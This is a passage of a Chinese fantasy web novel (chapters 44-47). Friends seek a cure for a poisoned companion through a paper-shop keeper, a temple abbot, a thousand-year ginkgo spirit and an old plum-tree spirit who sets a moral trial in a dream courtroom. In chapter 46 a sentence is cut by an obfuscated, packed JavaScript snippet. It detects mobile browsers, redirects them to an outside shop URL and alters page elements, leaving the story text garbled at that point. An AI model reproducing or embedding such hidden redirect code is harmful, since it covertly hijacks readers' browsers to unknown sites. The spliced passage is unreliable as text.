“再分开行动,万一被各个击破怎么办?”凌岓不同意。 “那你说怎么办?你倒是想个别的办法也行啊!我这办法至少比呆在这儿干等着强吧!” 正争执不下之际,有人突然在外面拍了拍车窗。 “你谁?”司机小卫把窗户摇下三分之一,语气不善。 “你们好,我是这附近一个店面的老板。我刚看见你们一个朋友好像是受了伤,对吗?”说话的中年人长得白白胖胖,一眼看上去人畜无害。 “你从哪儿看见的?”闻言,凌岓警惕起来——他抱着姜泠出来的时候曾留意过四周,分明一个人也没有。 “我在我店里看见的。我看见你抱着一个姑娘,那个女孩子看上去好像受了伤。”胖老板被连着质问了两句,依旧和颜悦色。 “我知道你们怕我和那个老邪门是一伙儿的,所以不敢跟我说实话。但我真的不是,我的店就在你们进去的那栋楼对面。我来找你们,是不想看着你们的朋友和对面那家人一样,变成半死不活的活死人。” “老邪门?”洪钟眉头一皱,追问道,“你说的老邪门是谁?” “一个经常害人的老头子。他成天不干正事,到处搜刮歪门邪道之术。正常的衣服他也不穿,什么时候都穿着一件黑色的寿衣。我们这里的人,十户里面有五六户人家都被他害过,轻则伤病几个月,重则家破人亡。” “你们这儿是什么法外之地嘛?”洪钟听得头皮发麻。 “我们这里被人下了阴幛,外面的人有可能进来,里面的人却出不去。”胖老板又说,“要不是我家里做的生意特殊,我也早就和对面那家人一样了。” 这番话一说,洪钟和卫斯诚都有几分相信眼前的胖老板了。剩下一个凌岓仍然心有疑虑,却为了姜泠,咬牙打算赌一把。 “您有什么办法能救我的朋友吗?”凌岓问。 “你们先把她带到我店里再说吧。你们猫在车子里,我也没办法呐!” 车里的三个人默不作声交换了眼色,各自从门侧拿了一件趁手的武器揣进兜里,这才佯装无事人一样拉开车门。 “来,慢点儿。”胖老板把几个人引进店里,他的小店果然正对着那座暗红色的小楼。 纸人、纸衣纸鞋、纸房子、纸首饰、花圈……胖老板的店里除了他自己和他收钱时要用到的东西外,其他全是纸做的。 洪钟坐在轮椅上,暗道,“原来是个纸扎铺,难怪他说他做的生意特殊。” 胖老板先从小店里间拖出一张折叠床,把受伤的人安顿好后,又拿出几张塑料凳子。 “现在能说了吗?您有什么办法能治好我们的朋友?”凌岓并不坐下,他看着胖老板,等待对方接话。 “治好不可能,我没本事能把她治好。”胖老板说着,从货柜的最底层拿出两张黄纸和一瓶青灰色的液体,“我只能想办法让尸毒扩散得慢一点,要不然三天以后,针里的毒液遍及全身,就是神仙来也回天乏术。” “那赶紧的吧!”光听见“尸毒”这两个字,洪钟就觉得不妙。 胖老板点点头。他先把黄纸放在铁盆里点着,等烧到一半时,又把青灰色的液体倒了进去。瓶中液体入盆,火势非但没有减小,反 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“亲缘关系?”招魂幡飘起来的样子像极了人伸手挽留亡魂的造型,纸扎铺老板强压着心里的震惊,脸色也跟着变差了。 “大哥,大哥!”洪钟实在看不下去了,“您这是弄嘛呢?师从何门何派的哪一套?” “嘘!”胖老板把食指竖帖在嘴上,示意众人别说话。 小球在招魂幡中上下滚动,胖老板目不转睛地盯着圆球滚动的轨迹点头。再之后,圆球“啪”一声掉到地上,摔了个稀碎。 “完了,这不会有什么不好的预兆吧。”卫斯诚看愣住了。 只见胖老板蹲在门口,愁眉苦脸地把圆球的碎片拢作一堆,又是叹气又是摇头,好半天都不说一句话。 凌岓刚想开口,胖老板就进来了。他把碎片收好,满是歉疚地把混了灰烬的瓶子递过去,“喂她喝下去吧,你们这位朋友和一般人不一样,不是我能帮得了的。” “这话什么意思?”青灰色的液体混了灰烬后,颜色有些发黑,凌岓看着黑乎乎的东西,完全不想接过来。 “我不能说。”胖老板面露难色,却催促着凌岓赶紧把瓶子里的液体给姜泠喂下去,“你们只要知道,我绝不会害你们的!喝了这瓶定魂酒,她坚持个一周应该没问题。然后你们赶紧带着她去青城山找一个人,找到了她就有救了!” “我们凭什么相信你?” “要是能出阴幛,你怎么不出去呢?” 卫斯诚和洪钟同时发问,一时间问得老板不知先回答谁。 “如果你们能在这里找到第二个活人帮忙,那我也没意见。”纸扎铺老板冷哼一声,耸了耸肩,“除了我,现在没人能帮你们走出阴幛。” “你威胁谁呢…” 凌岓拦下卫斯诚,严肃道,“除了信任他,我们还有别的办法吗?” “我也不想瞒你们什么,我是迫不得已才留在这儿的。”胖老板语气缓和了点,“当年因为有求于人签了承诺,现在想走也走不掉了。你们跟我不一样,你们还有机会出去,就别在这里耗着了。” 卫斯诚在身后扶起姜泠,凌岓小心翼翼地把所谓的“定魂酒”一点一点给她喂下去,又问,“那个圆球和您说的亲缘关系是什么?” “这个就和我的秘密一样,不能告诉你们。”老板把空瓶子接回来,打开里屋仓库的门,“是时候了,你们该走了。” 三个大活人面面相觑,只得不再追问,跟进了仓库。 胖老板手里不知什么时候多出来一个铁块,他将铁块狠狠砸向后门,一阵巨大的推力将众人逼着后退了两步后,仓库后门不见了。 “从这里出去,就是你们的世界了。”胖老板说。 凌岓道了声谢,抱着伤员头也不回地走到前面去,卫斯诚紧随其后。 “洪钟,你等等。”胖老板握住轮椅后把,俯身贴耳道,“你替人还债,还了债,这一劫就过去了。” 洪钟愕然抬头,见胖老板笑着对他说:“记住了,我叫殷漕。” 45. 第四十五章 “老板说去青城山找人,他说找谁了吗?”都回到家里了,卫斯诚才后知后觉反应过来。 “他塞了条儿给我。”凌岓把口袋里的便签拿出来,“老洪回医院休息吧,我和斯诚过去就行。” “那怎么行!如果我没要求参加这个破葬礼,小姜也不至于成现在这样。” “你这腿和手还没长好呢,就呆在这儿休息吧。”短短几分钟的时间,卫斯诚已经安排好了行程,对凌岓的提议也没有疑问,“你就踏踏实实呆在这儿,我们随时保持联系。更重要的是,你回去帮我们再多打听打听销骨针针,分工配合,可能比扎堆更有效果。” 洪钟欲言又止,最后还是接受了这种安排。回医院前,他对两个即将出发的人千叮咛万嘱咐,“有嘛事儿可一定得跟我说呐!不带瞒人的!” “放心吧。”凌岓嘴上这么回答着,自己心里却也放心不下。 刚下过雨,整个青城山的底色是苍翠的,苍翠中还点缀着几抹鹅黄和浅红。银杏落在路面上,人走上去犹如踩了一层黄丝织就的地毯;枫叶现在的红色也很漂亮,虽然没有秋意正浓时的热烈,却也别有一番风韵。 按照纸条上的地址寻来,眼前赫然伫立着一座隐于山中的古刹。古刹的檐角上蹲着两只青琉璃石狮子,小草和青苔从瓦片缝隙中钻出来,给刹顶也染上了一层朦朦胧胧的青绿色。 雨后,山中雾气缭绕,敲木鱼的声音和刹中人诵经的声音在雾中交织迭起,让前来求助的信徒获得片刻心安。 “阿弥陀佛,本寺今日不开放,施主请回吧。”小沙弥穿着有些宽大的灰色僧服,礼貌回应着前来敲门的人。 “小师傅,能否烦请您把这个交给你家方丈?我们真的是有急事求助于他。” 说话的人态度诚恳,小沙弥也不好拒绝,只得收好递来的纸条道,“请施主稍候。” 回到禾城当晚,凌、卫二人就带着昏迷不醒的姜泠出发了。来到古刹时,正是第二天傍晚,寺里传来一阵阵厚重绵长的鼓声,等在寺门前的凌岓一瞬间晃了神。 古刹隐匿山中,太阳落下时的余晖被山林遮挡住了。前来拜访的人只能从一只又一只归林的倦鸟身上找到时间流逝的感觉。 卫斯诚像热锅上的蚂蚁,在寺门口走来走去。凌岓则是默默数着眼前飞过的归鸟数量,数到第一百二十八只时,寺门开了。 “阿弥陀佛,两位施主久等了。”小沙弥微微弯腰,脖子上挂着的一串佛珠也跟着发出好听的碰撞声,“我家师父请二位施主进去,请跟我来。” 凌岓示意卫斯诚先走,自己则把车中面色苍白的人抱了出来。 “阿弥陀佛,二位施主请坐。” 古刹的方丈看起来年纪很大了,他的胡子眉毛皆是银白,身上的黄色僧服和红金袈裟看着也有些年头了。 “二位施主为救人而来,老衲自当全力以赴为二位施主提供帮助。”不等来人开口,方丈先把他们此行的目的说了个清楚。 “没错,就是您说的这样。”卫斯诚点头,“我姐中了一个老登…一个坏老头的暗器,暗器上还有尸毒。那老头说,三天之后她就会变成活死人。一个朋友让我们来找您,说您会有办法救我姐的。” “阿弥陀佛,出家人不打诳语。贫僧对女施主的遭遇深感痛心,只是二位施主,你们要找的人只怕并非是贫僧。”老方丈长得慈祥,说起话来倒和大殿上的佛祖真有几分相似。 “可字条上写的是宝济寺惠灯大师,我们也打听过,方丈您的法号正是惠灯二字。您怎么说,我们要找的人不是您呢?”听完方丈的话,凌岓心里“咯噔”一声,焦躁的情绪又浮了上来。 “老衲正是惠灯,可惠灯却并非二位施主真正要找的人。”老方丈笑着为对面的两个年轻人添茶,也不再继续卖关子了,“换言之,能救女施主的人并非老衲。而老衲虽不能救人,却能帮你们联系到能救人的人。” “你不能救人,但能联系到能救人的人…”卫斯诚听着绕口令一样的话,差点没转过弯。 “惠灯大师,我们的朋友现在真的性命垂危,求您别再跟我们开玩笑了。”凌岓把自己跟前的茶杯推到一边,急得嗓子冒烟,“只要您告诉我们能救她的人是谁,怎么找,再苦再难我们都一定想办法找到!同样的,您想要什么样的报酬都不为过,只要我的朋友这次能平安醒来,我愿意为宝济寺所有佛祖重塑金身。” “我也是。”卫斯诚跟着表态,“别说重塑金身,就是再给宝济寺建两个分寺都行!十个都行!” “二位施主少安毋躁,正所谓‘救人一命胜造七级浮屠’。早在收到二位施主带来的信时,老衲便已差人去寻那位能救命的人了。” 老方丈依旧是笑眯眯的样子,似乎一切都尽在他的把握之中。 “大师,抱歉。我们也是太心急了。”这下轮到凌岓不好意思了。他抿了一口杯子里的茶,茶香满溢唇齿间,方才积蓄的烦闷立刻便不翼而飞了。 寺里又敲过三遍鼓了,刚才引两人进寺的小沙弥推门而入,稚声稚气地对方丈说:“师父,不空道长来了。” “快快请他进来。”老方丈捋了捋自己银白的山羊胡,笑意更甚。 “老惠灯,好久不见!”爽朗清脆的笑声从殿外传来,真应了那句“未见其人,先闻其声”。 坐在殿内的两个年轻人本以为,能让惠灯大师称一声“道长”的人必然也和他一样,是个仙风道骨的高人。哪成想实际上的真人与他们想象中的形象完全不搭边。 不空道长是个高高瘦瘦的年轻人,看起来和卫斯诚年龄相仿。他进来时穿着短袖汗衫和印花沙滩裤,脚下踩着一双凉拖。看到坐在蒲团上的惠灯方丈,他还凑上前揪了揪那撮白胡子。 “灯啊,你胡子又长长了。”一开口,不空道长海绵宝宝一样的音色差点把坐在一边观望的两个人逗笑。 惠灯大师并不恼,反而更加和颜悦色地给他介绍,“这两位施主就是我跟你说的,需要你来帮助的两位。” “哦。”不空瞥了一眼对面的两个人,又看了看躺在一旁的姑娘,没多说什么。 “哦是什么意思?”这样一个看起来吊儿郎当又浑不靠谱的人,实在让卫斯诚火大。 “意思是我知道了。”不空眼都不抬地回答。 “你…” “请问道长,您有办法救我们的朋友吗?”眼看着卫斯诚就要翻脸,凌岓赶紧出来打圆场,“既然您是惠灯大师请来的,想必您一定本事了得。” “本事了得不敢当。”不空还是不抬眼,他把玩着老方丈的佛珠串,语气悠闲,“不过这个漂亮姑娘的伤,我倒确实是有办法。” “那烦请您不吝赐教。”凌岓抱拳以示尊重。 “赐教就免了,别跟我搞那文绉绉的一套。你们这些小朋友是不是考学把脑子都考坏啦!”不空白了凌岓一眼,总算和眼前两人对视了。 “销骨针,一共有七七四十九根。针扎在人身上不同的位置,就会有不同的结果。”说着,不空把姜泠扶起来,指着她颈侧的三根银针道,“漂亮姑娘被扎在脖子上,那就会变成持针者的傀儡。如果这三针扎在她的天灵盖上,那么她就会消亡于天地间,任谁来都救不了。” “但是这对我而言,不算什么大事。”不空道长说着,食指和中指捏住三根针,稍一用力便将它们拔了出来,“你们来得及时,针只是和血肉长在了一起,还没到完全融合的地步。” “那能拔出来是不是就意味着没事儿了?”卫斯诚看着姐姐脖颈处的三个血窟窿,手忙脚乱地往前递纸。 “当然。”不空拢指抚过伤口,血窟窿立时变小了,“不是。” “你们能找到这儿,那一定也知道销骨针是个什么东西。在它手上挫骨扬灰的人不少,冤魂骨头里的怨毒自然也不会少。这几根针流传了上百年,别说是扎一下,普通人单是拿着它,都会神魂不稳直至精神失常。”< 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“我还没说完呢!这千年老树所在之处必须是几千年来无人涉足的地方,从未被凡尘俗气沾染过。你说的那些山水景区里的老树大多都被人为保护过。一旦沾染了太多人气,树中吸收的天地之气便会枯竭。” “那你又说对你而言不算大事?”卫斯诚觉得自己像只猴子一样被人耍。 “我说治疗的方法对我而言不算大事。”不空理直气壮。 “就算找到了树,又怎么能确定它附近一定会有草药生长?再说你提到的精怪之灵,这种虚无缥缈的东西只存在于书中,我们又去哪里找?” “吸收了千年灵气的老树所在之地必然是宝地,既是宝地,又怎么可能缺的了其他植物呢?无人之境多的是,千年老树和精怪你们也不必担心。我既然说了,就有办法带你们找到。” 不空拿起惠灯方丈面前的果子啃了一口,又说,“这个办法中最难寻的并非古树和精怪,最难寻的是至善至纯之人。” “然也。”闻言,惠灯大师表情也严肃起来,“所谓‘九曲玲珑心’,说的就是人心之复杂。尘世大千,遮眼蔽心的事物太多,要找到一个至纯至善无私欲的人并不简单。如若真的遍寻不得,那也只能是天命。” “走一步看一步吧。我们先去找古树和精怪,再去找至纯至善的人。无论如何,至少要全力以赴尝试一下。”凌岓不信天命,也不甘心眼睁睁看着眼前人就此仙逝,他下定决心要让这个方法成功。 “说得对!”卫斯诚的心理活动和同伴差不多,这是他从小一起长大的人,他早把她当自己的亲姐姐看。在他看来,说再多天命,都没有“事在人为”这几个字来的可靠。 做好决定,姜泠被托付给惠灯方丈照顾,不空则领着前来寻他的两人进了山。 临走时,不空把一根又细又韧的蚕丝绑在姜泠腕上,又点了一支火苗微弱的红蜡烛在她身边。 他嘱咐惠灯,“蚕丝与我有感应,红烛则是她的生命。如果蚕丝断了或者红烛灭了,那就说明她这个人不再存于天地之间了。所以你务必要看好这蜡烛,千万不要让风或是其他什么外力把它吹灭了。” “你且放心,老衲会安排最得力的弟子在此值夜,绝不会让这蜡烛有半点差池。”惠灯大师一字一句地保证,不空这才放心离开。 要去的地方离青城山不远,又或者说,目的地就在青城山深处那片未开发的山林中。 几经波折,不空带着另外两人来到青城山后山。 一眼看去,这里密林丛生,山顶被浓浓的云雾环绕着,山下连块“不得入内”的警告牌都没有,颇有几分修仙者居处的样子。 “山上可能有野生动物,走路的时候动静不要太大,更不要高声喧哗。万一惊扰了熊瞎子一类的,我可保不了你们。”进山前,不空叮嘱道。 凌岓和卫斯诚点点头,刚跟在不空身后走了没几步,就听见山中隐约传来几声狼嚎。 46. 第四十六章 没有湔山那么难走,也没有六溪那里的山那么神秘。这片未开发地区恣意展现着植物最原始的状态,无限生机叫人没法不感叹。 现在是前半夜,更深露重,寒气逼人。饶是凌岓和卫斯诚连着奔波了两天,那点困意也被秋夜的寒凉扰得无影无踪。不空穿着他的汗衫走在前面,完全不觉得冷。 星光从树林枝叶间的缝隙中落下来,和林中偶尔见到的萤火虫一同为穿行的旅人点灯。这本该是很浪漫的气氛,可现下这三人都急着赶路,也没心思欣赏当下的浪漫。 不空手里拿着的长树枝总能在落脚之前给周围安睡的动物一个提醒,以至于一路走来,三人都不曾遇到来自动物的侵袭。 “歇歇脚吧。”不空停下脚步,靠坐在一棵杨树上。 凌岓和卫斯诚跟着他一同停住,心里想的却还是宝济寺中的人。 “道长,我们还有多久能到?”如果不是不空道长提出歇息的建议,凌岓一定会马不停蹄地赶路。 “走一走就到了。”给出回答的人已经闭上了眼睛,似乎想要打个盹儿。 凌岓想继续赶路,又怕这个捉摸不透的道长会生出逆反心理。最后他叹了口气,什么都没说。 在这片密林中,树木就是天然的屏障。它们挡住了从天而降的风雨,却也让人的警惕性慢慢降低。 不空道长许久不睁眼也不说话,卫斯诚便逐渐开始被涌上来的疲倦淹没。他眼前飞速闪过梦中的场景,意识也跟着沉了下去。 也不知过了多久,卫斯诚被掉在脸上的冰凉水滴叫醒了。一睁眼,他却看见同行的两个伙伴正站在不远处一脸紧张地注视着自己。 “你……” “嘘!”——卫斯诚那个“们”字还没说出口,只是嘴唇动了动,凌岓就赶紧示意他别出声。 “嘶~” “嘶——” 卫斯诚听见这异常声音的同时,有一条又滑又软的东西从头顶绕上了他的脖子。现在他明白了,刚刚滴在脸上的才不是什么水滴,十有八九是这东西的口水。至于脖子上的是什么,他猜大约是条蛇。 这条蛇有一双红色竖瞳,身上长着规则的三角斑纹,头也是三角形的。在格外静谧的夜晚中,蛇信子每往外吐一下,就会发出一次令人紧张的“嘶嘶”声。 凌岓不敢轻举妄动,他看向平时吊儿郎当的不空,却见对方也是一副如临大敌的表情。 进山时怕手电、刀棍这些东西会坏了千年古树的灵气,三个人便什么都没带,全指着小心谨慎往前走。现在真的遇到了林中原住民,这三人只好在头皮发麻的同时当场思考解决办法。 蛇开始顺着卫斯诚的脖子游动,又红又长的蛇信子偶尔会舔一口这个被它当成“树干”的生物。被舔的人任由冷汗浸湿了衣服也不敢动一下,他生怕轻轻一动就会换来这条蛇的一口獠牙。 凌岓正想办法把这条蛇引开时,他脚下突然窜出来一个肉乎乎的野兔。那条缠绕在人脖颈上的蛇先是眯起眼哈了两口气,紧接着便如离弦之箭一般飞出去。 卫斯诚还没反应过来,那只野兔就变成了蛇牙中抽搐的夜宵。 凌岓和不空道长对视一眼,赶紧拉着卫斯诚向前奔。三人奔跑的步子太大,踩得脚下的枯枝败叶沙沙作响,刚吃饱肚子的蛇露出两颗长牙,毫不犹豫就追了上去。 “刚刚那什么蛇?”卫斯诚边跑边问。 “看着像五步蛇。”凌岓也好心回答,“它身上的花纹,还有四十五度角仰望天空的姿势都像五步蛇。” “五步蛇的瞳孔是红色的吗?”卫斯诚不是没见过五步蛇,那种蛇的瞳孔绝不是这样血红的颜色。 “变异吧可能。”见前面的人猛然停住,凌岓也赶紧刹住了脚步。 “又怎…么了?”跟在最后的卫斯诚看见了逼停众人脚步的动物,结巴着说完了这四个字。 距不空三米左右的距离,亮起一排排黄色的小灯,细细看去,那并不是真的“黄灯”,而是野兽的眼睛。 “狼。”不空道长的语气难得正经一回。 “上树。”凌岓紧跟着给出对策。 “这儿的生态环境是不是好过头了?怎么前脚刚走了一条蛇,后脚就堵过来一群狼?”说这话的时候,卫斯诚正紧紧抱着树干,闭住眼睛逼迫自己不往下看。 群狼轮流撞击着树干,龇牙咧嘴地看向树上的人。 “不能一直在树上缩着,不然树被撞断了,我们还是会变成这些狼的零食。”卫斯诚朝不远处的另一棵树喊。 “你抱紧了别动,我想办法先下去把它们引开。”凌岓这边的情况也没多好,他一咬牙,决定赌一把。 “诶你等等。”同在一棵树上的不空拦下近在咫尺的人,“万一你失手了,或者反应慢了,你可就成它们的盘中餐了。” “那也不能这么干耗着。”凌岓回答他,“我成了盘中餐,你们就还有机会找到那棵古树,姜泠也就还有救。但如果这些狼一直不走,我们一直耗在这儿,情况只会更糟糕。” “你和那个漂亮姑娘是什么关系?”听到这里,不空话锋一转,“你是她的家人?还是爱人?为什么这么紧张她的安危?能找到我的人一定都经历过阴间事,难道你不害怕吗?” “不是家人,也不是爱人。但是在一起闯过一些离谱难关的朋友。”回答的人眼神坚定,“再说,都已经见识过那些事儿了,还有什么可怕的?” 说完,凌岓将掰断的树枝扔下树去,群狼闻声围过来,虎视眈眈地盯着这个贴住树干往下滑的人。 “你们人类的情感真奇怪。”不空坐在树上直摇头。 眼看快到树下的人就要被群狼围攻之际,土地突然翻腾起来。接着,无数粗长的黑条挥舞着拔土而出,把一群饿狼卷住,甩到了众人视线之外。 凌岓讶然抬头,却见方才还抱着树的不空道长从几米高的树冠上一跃而下。 “你?” “活了一大把年纪,每次看到你们这些小娃娃都会有不一样的体验。”不空喃喃自语,“为亲情和爱情不惧生死的我见得多,为了共同经历过几次事情的朋友涉险的也有,只是不常见。” “道长你?你是人吗?”卫斯诚目睹了群狼消失的全过程,他的惊讶一点儿不比凌岓少。 林中大雾又现,不空没有回答,只身走进雾中。待到大雾散去,他才露出自己的真面目示人。 褐发长须,棕衫青裤,一双眼睛澄净又有神——这才是吊儿郎当的不空道长本来的面目。 “您?”卫斯诚看呆了,一时没认出眼前这人是谁。 “我本是扎根此山中的银杏树,历经千年才得以修道成形。在人世历练多时,碰巧遇到了你们。” 遮天蔽日的枝叶全散开了,星星隐匿在云后,只剩月亮探出半个脑袋。不空的声音在空荡荡的林中回响,惊起一群飞鸟。 “难怪你说你一定会带我们找到千年古树,原来你自己就是…就是那棵古树。”凌岓同样不可思议。 “我是个千年银杏不假,可我不是你们要找的古树。”不空揪下衣袖上的一片黄叶道,“我化形为人,又在人群中混迹许久,早就沾染了不少人气。但我能帮你们找到拥有千年灵气却始终不愿化形的那棵树,它是一棵千年老梅树,就住在这里。” “它也能现身吗?”卫斯诚奇道,“都说建国以后不准成精,那你们?” “我建国以前就化形了,你们的规则讲究不溯及既往,那也不该追究我。”诚如不空所说,在人群中呆了不少时间,连开玩笑接话都娴熟得很。 老银杏掌心向上,身边的落叶围着他团团打转,最后在他掌心中化成一支叶笛。 凌岓小时候也把叶片当成乐器吹着玩过,只是那种短促的“嘟嘟”声调子太平,吹不出十分好听的韵律。 但这棵银杏老树不一样,叶片在他掌心中化成的长笛与乐器店里的笛子在外形上看着相去甚远,可一吹起来,那种悠扬空灵的音色却比得过任何一支现存的曲调。 这支曲子时而如流水潺潺,听得人神思舒畅;时而如大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235710|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川浩荡,叫人如同身临浩瀚无垠之境。 一曲终了,云散月现,飞鸟在奏曲人身边徘徊了数圈后依依不舍地离去,只剩几只丹顶鹤在一旁悠然信步。两个大活人从曲调中回过神来,眼前的密林变成了一片开阔平地。 平地上有花有草,萤火虫和闪着蓝色荧光的蝴蝶在其中纷飞。正中间是一棵耸入云霄的梅花树,凌岓和卫斯诚从来没见过长这么大的梅花树。 正是八月下旬的时节,这棵古树却在它繁茂的枝干上开出了白雪似的梅花,花香四溢,叫树下的人顿时抛开了一切烦恼。 “老伙计,我回来了,你不现身与我老友之间叙叙旧吗?”不空两手背在身后,对着梅花树说道。 面前的古树岿然不动。 “大师,我们现在能摘草药了吗?” 卫斯诚话音刚落,就被一根树枝抽翻在地。树枝是从老梅树上伸出来的,抽在身上犹如藤条一般,直打的人叫苦不迭。 不空见状,也伸出一截长枝阻拦,老梅树这才停手,不再继续打人。 “不是,我说什么了吗?”卫斯诚被扶起来的时候仍然一头雾水,“平白无故打人,有没有王法了这还?” “别叫别叫。”两片银杏叶飞起,堵住了被打人想要继续抱怨的嘴,“这些花草林木多是仰仗着老梅成活的,就相当于它一衣带水的徒子徒孙,你一来就要采药摘草,老梅能答应嘛!再说,它本就是一棵树,有什么道理王法可讲?” 卫斯诚哑然,只得悻悻点头,表示自己明白了。 不空转过头去,继续好言好语地对着老梅树说话,“我游历俗世许多年,这些人类的感情也或多或少知道一些。说句实在话,不是只有你有情,这些人类也一样有真情存在的。此次来找你,无非是希望你网开一面,让这两个小娃娃有机会救一救他们的朋友嘛!” 老梅树的树枝突然张牙舞爪地挥舞起来,像是在驱赶来人。 “你这冥顽不化的老东西,看来非得给你点颜色瞧瞧才能好好沟通。” 看着那些枝条,不空将手举过了头顶,他的手臂倏然间伸长, 直直插入云霄。原本寂静无云的夜空中跟着劈过一道闪电,轰隆隆的雷声紧随其后,眼看着一场暴雨就要降临。 “我说老梅,一旦天雷降下,这里至少也得烧上一个多月。到时候就算你扛得住,你这些徒子徒孙也未必能留下几个。” 又有几道闪电劈过,夜空被割裂成大小不一的几块;雷声震耳欲聋,逼得两个凡人不得不捂紧耳朵。 一阵狂风从平地卷起,刮得人眼睛都睁不开。风止雷停,一个披着白色长袍的老者站在老梅树下,神色泰然。 “在人堆里混了那么些日子,你知晓了什么情感我看不出来,可人类身上的无耻我看你倒是专精得很。” “不逼你现身,那个女娃娃就没救了。”即便一见面就被骂了,不空也仍然不恼。 “哼。”白袍老人冷笑。 “前辈,您提个条件吧,怎么做您才答应救我的朋友?”凌岓揉了揉眼睛,总算看清了老梅树的样子。 “条件?”老人大袖一甩,不屑道,“救人这种事情在你心里也是可以用条件交换的,这足可见你们人类有多看重利益。” “拜托您啊大爷,不是只要有条件的就一定会和利益挂钩。您要是愿意无条件同意我们摘…救人,那我们当然一百万个愿意!”卫斯诚没忍住,又吐槽了一句。见老梅树眼睛已经瞪圆了,他赶紧捂住自己的嘴。 “他们说的也在理。”老银杏不空在一旁帮着说话,“你向来以仁善自居,这些花草分你的养分你不在意,怎么到了救人这上面,你反而犯糊涂?” 老梅树抬头望月,也不知在思忖什么。两个凡人急得冒火,还想再说什么,却被不空打了个手势制止。 月色渐渐淡了下去,天边露出鱼肚白。老梅树伸手抚过丹顶鹤的羽翼,似乎是想明白了什么。 他转身看着两个凡人,开口道,“可以救,但你们得通过我的考验。” 47. 第四十七章 太阳从地平线下冒出了头,霞光万顷,给山林披上一道胭脂色的羽衣。 “你们两个人中,只能有一个跟我进去接受考验。这一个如果失败了,那二位就请回吧。”古树树干上出现了一道门,白袍老人就站在门前。 “我去。” “我跟他进去!我和我姐从小一起长大,这种大事怎么能没有我!”卫斯诚把同伴往后扯了两步,“如果我要是失败了,你可一定帮我照顾好我姐姐。就算她要走到生命尽头了,你也不能敷衍了事啊…” “你老老实实呆着。就像你说的,你和姜泠一起长大,如果真的没通过考验,你自己照顾她也肯定比托付于人要放心得多。”凌岓劝阻道。 “这有什么好争的。”老银杏摇摇头,把两人拉开,“如果考验失败了,那老梅头肯定会把你们放出来。又不是失败了就会被他吃掉,别搞得和上刑场一样行吗?” “您和梅老前辈熟识,您知道他会出什么考验吗?”只是因为这是一棵梅树,凌岓才会称之为“梅老前辈”。 “看吧,你们这些人只想着走捷径。”大约是听到了凌岓的问题,老梅树一脸意料之中的得意。 “这老头脾气古怪,我也说不上他又会变出什么东西来考验你们。”不空朝老梅树牵强一笑,小声对两人说,“不过依据我的经验,还是你去胜算大一点。要通过这老家伙的考验,心态首先要稳住。所以我看你俩也别争了,就你去最合适。” 不空说的“你”,指的正是凌岓,后者点点头,把这番话记在了心里。 等到被考验的人走近,老梅树一挥手,就带着凌岓消失在树干中,原先有的那扇门也不见了。 树洞之内并不是被考验者想象中那种黑漆漆的一团,反而是一个热闹的街市。 凌岓下意识看了看自己的身体,发现自己穿上了一身极正式的黑色工作服,胸前的口袋上还别着一个不属于自己的名牌。 口袋里震动的手机吓人一跳,凌岓犹豫了片刻接起来,先被里面的人吼了一顿。 “几点了!这都几点了你人在哪儿呢?马上要开庭了,当事人都到齐了你人呢!” “开庭?”凌岓莫名其妙。 “你别告诉我你忘了。”对方回。 “哦哦,我记得我记得。今天在哪开庭来着?”凌岓装作记得此事。 “大哥,您这个时候玩儿什么失忆啊!禾城中院你忘了?你工作了十几年的地方你忘了?” “禾城中院?”凌岓环顾四周,果然觉得熟悉,“我马上就到。” “你最好是真的马上就到。”电话那头的人咬牙切齿道,“还有半个小时开庭,你速速给我赶过来!” 凭着在禾城生活了二十多年的经验,凌岓没费什么功夫就绕到了目的地门口。他大约弄明白了,胸牌上的名字是一位法官,但他不明白的是,为什么他会成为这个法官来到这里。 “不会又是穿越吧。”在回拨过去之前,凌岓自言自语猜测着。 “我到了,在几楼开庭来着?” “你今天早上洗头了还是怎么着?脑子里的水没控干吗?”电话对面的这位似乎是个暴脾气,一言不合就怼人。 “到底几楼?” “三楼三楼!快着点儿!” 电梯门口立着一块“正在维修中”的黄色警示牌,凌岓想也不想就往安全通道里的楼梯上冲,可总觉得哪里怪怪的。 奔上三楼,一个穿着同样制服的人塞给他一件黑袍子,“赶紧换了去,迟到是要扣绩效的!” 凌岓没来得及细究,披上袍子就跟着这人进到了庭审现场。旁听席上坐满了人,最前排的那对夫妇看着眼熟;后面的人里有拿着笔准备记录的,也有扛着摄像机蓄势待发的。 看到原告席上的人,凌岓的脑子“嗡”一声炸开了——那张面孔他曾见过,不过当时他见到的没有现在这么生动,他见到的,只是葬礼上的黑白遗照——而现在位列原告席的,则是一个活生生的成俐。 案卷笔录摆在面前,双方当事人和彼此的辩护律师开始进行唇枪舌剑的辩论,不过核心内容不变,大致案情也和当时裴心说的差不太多。 “请法官作出决断。” 质证和辩论结束后,不知从哪里传来了这么一句话,庭上众人的目光立即便齐刷刷聚焦到了凌岓身上。 被聚焦的人心下一惊,暗道,“怎么会有程序这么简单的庭审?这案子一看就引发了公众关注,总不能是简易程序吧…” “你犹豫什么?这个人的生杀大权现在掌握在你手里,无论你怎么判,都不会被追责。” 另一个声音在耳边响起,这次凌岓听出来了,这是那棵老梅树的声音。 “只要你敲一敲手底下的锤子,这个罪人立马就能按照你的判决执行。”老梅树继续说,“我看过了你的记忆,难道你不认为这个人可恨?因为他的一句谣言,那个姑娘就落得一个自尽的下场,难道对这种逼死同类的人,你不生气?” 老梅树的声音有一种蛊惑人心的魔力,再加上凌岓本人也对成俐的事情颇为愤怒,现下,他越看被告席上的男人越觉得这人面目可憎。 “快判吧。只要这个锤子一敲,这种败类就不会再祸害同类了。” 所谓的生杀大权就是没有任何监禁刑作为过渡的选择题,凌岓只有“杀”和“不杀”两个选项。 他看向台下的旁听者,发现这些人也正目光灼灼地盯着他。 古有惊堂木,今有法槌。小小的一个锤子拿起来费不了很多力气,可在凌岓看来却有千斤重。 